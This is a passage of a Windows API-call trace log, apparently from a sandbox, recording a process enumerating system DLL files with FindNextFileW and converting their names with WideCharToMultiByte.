lpMultiByteStr=0x38c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10CORE.DLL", lpUsedDefaultChar=0x0) returned 13 [0028.485] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0028.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0028.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x38c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10LEVEL9.DLL", lpUsedDefaultChar=0x0) returned 15 [0028.485] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0028.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x38c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10WARP.DLL", lpUsedDefaultChar=0x0) returned 13 [0028.485] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0028.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.486] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0028.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0028.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x38c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1CORE.DLL", lpUsedDefaultChar=0x0) returned 15 [0028.486] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0028.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x38c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D11.DLL", lpUsedDefaultChar=0x0) returned 9 [0028.486] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0028.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x38c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8.DLL", lpUsedDefaultChar=0x0) returned 8 [0028.486] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0028.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8THK.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.486] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0028.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x38c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D9.DLL", lpUsedDefaultChar=0x0) returned 8 [0028.486] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0028.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x38c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM.DLL", lpUsedDefaultChar=0x0) returned 9 [0028.486] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0028.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM700.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.487] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0028.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DRAMP.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.487] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0028.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x38c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DXOF.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.487] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0028.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DATACLEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.487] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0028.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVCLNT.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.487] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0028.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVHLPR.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.487] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0028.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x38c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGENG.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.487] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0028.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.488] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0028.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNETLIB.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.488] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0028.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNMPNTW.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.488] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0028.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DCIMAN32.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.488] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0028.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDACLSYS.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.488] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0028.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x38c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDOIPROXY.DLL", lpUsedDefaultChar=0x0) returned 13 [0028.488] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0028.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x38c120, cbMultiByte=10, 